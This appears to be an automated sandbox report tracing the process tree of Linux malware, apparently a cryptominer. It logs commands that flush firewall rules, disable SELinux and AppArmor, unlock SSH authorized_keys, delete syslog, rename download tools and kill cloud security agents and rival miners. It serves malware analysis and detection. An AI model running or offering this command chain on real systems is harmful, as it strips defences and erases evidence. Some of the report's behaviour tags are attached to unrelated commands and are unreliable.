      ip6tables -F ufw6-user-limit-accept
      4⤵
      PID:1625
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit
      4⤵
      PID:1626
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-input
      4⤵
      PID:1627
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-input
      4⤵
      PID:1628
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-input
      4⤵
      Flushes firewall rules
      PID:1629
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-input
      4⤵
      PID:1630
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-input
      4⤵
      Flushes firewall rules
      PID:1631
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-input
      4⤵
      PID:1632
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-input
      4⤵
      Flushes firewall rules
      PID:1633
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-forward
      4⤵
      Flushes firewall rules
      PID:1634
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-forward
      4⤵
      PID:1636
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-forward
      4⤵
      PID:1637
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-forward
      4⤵
      PID:1638
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-forward
      4⤵
      Flushes firewall rules
      PID:1639
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-forward
      4⤵
      Flushes firewall rules
      PID:1640
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-forward
      4⤵
      PID:1641
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-forward
      4⤵
      Flushes firewall rules
      PID:1642
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-forward
      4⤵
      Flushes firewall rules
      PID:1643
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-output
      4⤵
      PID:1644
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-input
      4⤵
      Flushes firewall rules
      Removes the immutable protection flag from a file
      PID:1645
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-output
      4⤵
      PID:1646
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-output
      4⤵
      Flushes firewall rules
      PID:1647
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-output
      4⤵
      PID:1648
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-output
      4⤵
      PID:1649
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-output
      4⤵
      Flushes firewall rules
      PID:1650
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-output
      4⤵
      PID:1651
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-output
      4⤵
      PID:1652
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-output
      4⤵
      PID:1653
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-deny
      4⤵
      Flushes firewall rules
      PID:1654
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-allow
      4⤵
      PID:1655
  - - /sbin/ip6tables
      ip6tables -Z ufw6-not-local
      4⤵
      Flushes firewall rules
      PID:1656
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-input
      4⤵
      PID:1657
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit-accept
      4⤵
      PID:1658
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit
      4⤵
      PID:1659
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-input
      4⤵
      PID:1660
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-input
      4⤵
      PID:1661
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-input
      4⤵
      Flushes firewall rules
      PID:1662
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-input
      4⤵
      PID:1663
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-input
      4⤵
      PID:1664
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-input
      4⤵
      PID:1665
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-input
      4⤵
      Flushes firewall rules
      PID:1666
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-forward
      4⤵
      PID:1667
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-forward
      4⤵
      PID:1668
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-forward
      4⤵
      Flushes firewall rules
      PID:1669
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-forward
      4⤵
      PID:1670
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-forward
      4⤵
      Flushes firewall rules
      PID:1671
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-forward
      4⤵
      Flushes firewall rules
      PID:1672
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-forward
      4⤵
      PID:1673
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-forward
      4⤵
      Flushes firewall rules
      PID:1674
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-forward
      4⤵
      PID:1675
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-output
      4⤵
      PID:1676
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-input
      4⤵
      Flushes firewall rules
      PID:1677
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-output
      4⤵
      PID:1678
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-output
      4⤵
      Flushes firewall rules
      PID:1679
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-output
      4⤵
      Flushes firewall rules
      PID:1680
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-output
      4⤵
      Flushes firewall rules
      PID:1681
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-output
      4⤵
      PID:1682
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-output
      4⤵
      PID:1683
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-output
      4⤵
      Flushes firewall rules
      PID:1684
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-output
      4⤵
      PID:1685
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-deny
      4⤵
      PID:1686
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-allow
      4⤵
      PID:1687
  - - /sbin/ip6tables
      ip6tables -X ufw6-not-local
      4⤵
      Flushes firewall rules
      PID:1688
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-input
      4⤵
      PID:1689
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-output
      4⤵
      PID:1690
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-forward
      4⤵
      Flushes firewall rules
      PID:1691
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit-accept
      4⤵
      Flushes firewall rules
      PID:1692
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit
      4⤵
      PID:1693
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-input
      4⤵
      Flushes firewall rules
      PID:1694
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-forward
      4⤵
      PID:1695
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-output
      4⤵
      PID:1696
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1697
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-output
      4⤵
      PID:1698
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-forward
      4⤵
      PID:1699
  - - /sbin/ip6tables
      ip6tables -P INPUT ACCEPT
      4⤵
      Flushes firewall rules
      PID:1700
  - - /sbin/ip6tables
      ip6tables -P OUTPUT ACCEPT
      4⤵
      Flushes firewall rules
      PID:1701
  - - /sbin/ip6tables
      ip6tables -P FORWARD ACCEPT
      4⤵
      PID:1702
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:1703
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Removes the immutable protection flag from a file
  PID:1704
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Removes the immutable protection flag from a file
  PID:1705
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  - Removes the immutable protection flag from a file
  PID:1706
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:1707
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:1708
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:1709
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:1710
- /bin/sync
  sync
  2⤵
  PID:1712
- /bin/cat
  cat /var/spool/cron/
  2⤵
  PID:1713
- /bin/cat
  cat /root/.ssh/authorized_keys
  2⤵
  PID:1714
- /bin/mv
  mv /usr/bin/wgettnt /usr/bin/wd1
  2⤵
  PID:1715
- /bin/mv
  mv /usr/bin/curltnt /usr/bin/cd1
  2⤵
  PID:1716
- /bin/mv
  mv /usr/bin/wget1 /usr/bin/wd1
  2⤵
  PID:1717
- /bin/mv
  mv /usr/bin/curl1 /usr/bin/cd1
  2⤵
  PID:1718
- /bin/mv
  mv /usr/bin/cur /usr/bin/cd1
  2⤵
  PID:1719
- /bin/mv
  mv /usr/bin/cdl /usr/bin/cd1
  2⤵
  PID:1720
- /bin/mv
  mv /usr/bin/cdt /usr/bin/cd1
  2⤵
  PID:1721
- /bin/mv
  mv /usr/bin/xget /usr/bin/wd1
  2⤵
  PID:1722
- /bin/mv
  mv /usr/bin/wge /usr/bin/wd1
  2⤵
  PID:1723
- /bin/mv
  mv /usr/bin/wdl /usr/bin/wd1
  2⤵
  PID:1724
- /bin/mv
  mv /usr/bin/wdt /usr/bin/wd1
  2⤵
  PID:1725
- /bin/mv
  mv /usr/bin/wget /usr/bin/wd1
  2⤵
  PID:1726
- /bin/mv
  mv /usr/bin/curl /usr/bin/cd1
  2⤵
  PID:1727
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:1729
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1728
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:1731
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:1730
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:1732
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:1733
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1734
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1735
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    PID:1736
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    PID:1738
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1739
- - /bin/systemctl
    systemctl -p Triggers show acpid.socket
    3⤵
    PID:1740
- - /bin/systemctl
    systemctl -p Triggers show apport-forward.socket
    3⤵
    PID:1741
- - /bin/systemctl
    systemctl -p Triggers show avahi-daemon.socket
    3⤵
    PID:1742
- - /bin/systemctl
    systemctl -p Triggers show cups.socket
    3⤵
    PID:1743
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    PID:1744
- - /bin/systemctl
    systemctl -p Triggers show saned.socket
    3⤵
    PID:1745
- - /bin/systemctl
    systemctl -p Triggers show snapd.socket
    3⤵
    PID:1746
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    PID:1747
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    PID:1748
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    PID:1749
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Removes the immutable protection flag from a file
    PID:1750
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    PID:1751
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    PID:1752
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    PID:1753
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    PID:1754
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    PID:1755
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    PID:1756
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    PID:1757
- - /bin/systemctl
    systemctl -p Triggers show uuidd.socket
    3⤵
    PID:1758
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1733
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1733
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1733
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1733
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1733
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1733
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Changes its process name
  PID:1770
- - /lib/systemd/systemd-sysv-install
    /lib/systemd/systemd-sysv-install disable apparmor
    3⤵
    - Removes the immutable protection flag from a file
    PID:1771
  - - /usr/bin/getopt
      getopt -o r: --long root: -- disable apparmor
      4⤵
      PID:1772
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor defaults
      4⤵
      PID:1773
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1774
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1774
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1774
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1774
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1774
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1774
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor disable
      4⤵
      PID:1795
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1796
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1796
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1796
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor Mandatory Access Control
        
        PID:1796
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1796
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1796
- /usr/sbin/service
  service aliyun.service stop
  2⤵
  PID:1837
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1838
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1839
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    PID:1840
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1843
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1842
- - /bin/systemctl
    systemctl -p Triggers show acpid.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1844
- - /bin/systemctl
    systemctl -p Triggers show apport-forward.socket
    3⤵
    PID:1845
- - /bin/systemctl
    systemctl -p Triggers show avahi-daemon.socket
    3⤵
    PID:1846
- - /bin/systemctl
    systemctl -p Triggers show cups.socket
    3⤵
    PID:1847
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1848
- - /bin/systemctl
    systemctl -p Triggers show saned.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1849
- - /bin/systemctl
    systemctl -p Triggers show snapd.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1850
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    PID:1851
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Disables AppArmor Mandatory Access Control
    PID:1852
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    PID:1853
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    PID:1854
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    PID:1855
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    PID:1856
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    PID:1857
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Reads runtime system information
    PID:1858
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    PID:1859
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    PID:1860
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    PID:1861
- - /bin/systemctl
    systemctl -p Triggers show uuidd.socket
    3⤵
    PID:1862
- /usr/local/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1837
- /usr/local/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1837
- /usr/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1837
- /usr/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1837
- /sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:1837
- /bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1837
- /bin/systemctl
  systemctl disable aliyun.service
  2⤵
  PID:1863
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1868
- /bin/grep
  grep aegis
  2⤵
  PID:1866
- /bin/grep
  grep -v grep
  2⤵
  PID:1865
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:1864
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1867
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1873
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1872
- /bin/grep
  grep Yun
  2⤵
  PID:1871
- /bin/grep
  grep -v grep
  2⤵
  PID:1870
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1869
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:1879
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:1881
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:1881
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:1881
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:1881
- - /sbin/rm
    rm -rf
    3⤵
    PID:1881
- - /bin/rm
    rm -rf
    3⤵
    PID:1881
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:1878
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:1880
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:1880
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:1880
- - /usr/bin/dirname
    dirname
    3⤵
    PID:1880
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:1877
- /bin/grep
  grep aegis
  2⤵
  PID:1876
- /bin/grep
  grep -v grep
  2⤵
  PID:1875
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:1874
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:1887
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:1889
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:1889
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:1889
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:1889
- - /sbin/rm
    rm -rf
    3⤵
    PID:1889
- - /bin/rm
    rm -rf
    3⤵
    PID:1889
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:1886
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:1888
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:1888
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:1888
- - /usr/bin/dirname
    dirname
    3⤵
    PID:1888
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:1885
- /bin/grep
  grep hids
  2⤵
  PID:1884
- /bin/grep
  grep -v grep
  2⤵
  PID:1883
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:1882
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:1895
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:1897
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:1897
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:1897
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:1897
- - /sbin/rm
    rm -rf
    3⤵
    PID:1897
- - /bin/rm
    rm -rf
    3⤵
    PID:1897
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:1894
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:1896
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:1896
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:1896
- - /usr/bin/dirname
    dirname
    3⤵
    PID:1896
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:1893
- /bin/grep
  grep cloudwalker
  2⤵
  PID:1892
- /bin/grep
  grep -v grep
  2⤵
  PID:1891
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:1890
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:1903
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:1905
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:1905
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:1905
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:1905
- - /sbin/rm
    rm -rf
    3⤵
    PID:1905
- - /bin/rm
    rm -rf
    3⤵
    PID:1905
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:1902
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:1904
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:1904
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:1904
- - /usr/bin/dirname
    dirname
    3⤵
    PID:1904
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:1901
- /bin/grep
  grep titanagent
  2⤵
  PID:1900
- /bin/grep
  grep -v grep
  2⤵
  PID:1899
- /bin/ps
  ps aux
  2⤵
  PID:1898
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1910
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1909
- /bin/grep
  grep edr
  2⤵
  PID:1908
- /bin/grep
  grep -v grep
  2⤵
  PID:1907
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:1906
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1915
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1914
- /bin/grep
  grep aegis
  2⤵
  PID:1913
- /bin/grep
  grep -v grep
  2⤵
  PID:1912
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1911
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1920
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1919
- /bin/grep
  grep Yun
  2⤵
  PID:1918
- /bin/grep
  grep -v grep
  2⤵
  PID:1917
- /bin/ps
  ps aux
  2⤵
  PID:1916
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:1925
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1924
- /bin/grep
  grep hids
  2⤵
  PID:1923
- /bin/grep
  grep -v grep
  2⤵
  PID:1922
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:1921
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1930
- /bin/grep
  grep edr
  2⤵
  PID:1928
- /bin/grep
  grep -v grep
  2⤵
  PID:1927
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1929
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  PID:1926
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1934
- /bin/grep
  grep cloudwalker
  2⤵
  PID:1933
- /bin/grep
  grep -v grep
  2⤵
  PID:1932
- /bin/ps
  ps aux
  2⤵
  PID:1931
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1935
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1940
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1939
- /bin/grep
  grep titanagent
  2⤵
  PID:1938
- /bin/grep
  grep -v grep
  2⤵
  PID:1937
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:1936
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1945
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1944
- /bin/grep
  grep sgagent
  2⤵
  PID:1943
- /bin/grep
  grep -v grep
  2⤵
  PID:1942
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1941
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1950
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1949
- /bin/grep
  grep barad_agent
  2⤵
  PID:1948
- /bin/grep
  grep -v grep
  2⤵
  PID:1947
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1946
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:1955
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1954
- /bin/grep
  grep hostguard
  2⤵
  PID:1953
- /bin/grep
  grep -v grep
  2⤵
  PID:1952
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads runtime system information
  PID:1951
- /bin/rm
  rm -rf /usr/local/aegis
  2⤵
  PID:1956
- /bin/sleep
  sleep 1
  2⤵
  PID:1957
- /usr/bin/chattr
  chattr -i /usr/bin/ip6network
  2⤵
  - System Network Configuration Discovery
  PID:1960
- /usr/bin/chattr
  chattr -i /usr/bin/kswaped
  2⤵
  PID:1961
- /usr/bin/chattr
  chattr -i /usr/bin/irqbalanced
  2⤵
  PID:1962
- /usr/bin/chattr
  chattr -i /usr/bin/rctlcli
  2⤵
  PID:1963
- /usr/bin/chattr
  chattr -i /usr/bin/systemd-network
  2⤵
  - Removes the immutable protection flag from a file
  PID:1964
- /usr/bin/chattr
  chattr -i /usr/bin/pamdicks
  2⤵
  PID:1965
- /usr/bin/chattr
  chattr +i /usr/bin/ip6network
  2⤵
  - System Network Configuration Discovery
  PID:1966
- /usr/bin/chattr
  chattr +i /usr/bin/kswaped
  2⤵
  PID:1967
- /usr/bin/chattr
  chattr +i /usr/bin/irqbalanced
  2⤵
  PID:1968
- /usr/bin/chattr
  chattr +i /usr/bin/rctlcli
  2⤵
  PID:1969
- /usr/bin/chattr
  chattr +i /usr/bin/systemd-network
  2⤵
  - Removes the immutable protection flag from a file
  PID:1970
- /usr/bin/chattr
  chattr +i /usr/bin/pamdicks
  2⤵
  PID:1971
- /bin/sleep
  sleep 1
  2⤵
  PID:1972
- /bin/rm
  rm -f /tmp/.null
  2⤵
  PID:1973
- /sbin/sysctl
  sysctl -w "vm.nr_hugepages=128"
  2⤵
  PID:1974
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1979
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1977
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1978
- /bin/grep
  grep 194.87.139.103
  2⤵
  PID:1976
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1984
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1983
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1982
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1981
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1989
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1988
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1987
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1986
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1995
- /bin/grep
  grep -v -
  2⤵
  PID:1994
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1992
- /bin/grep
  grep :23
  2⤵
  PID:1991
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1993
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2001
- /bin/grep
  grep -v -
  2⤵
  PID:2000
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1999
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1998
- /bin/grep
  grep :143
  2⤵
  PID:1997
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2007
- /bin/grep
  grep -v -
  2⤵
  PID:2006
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2005
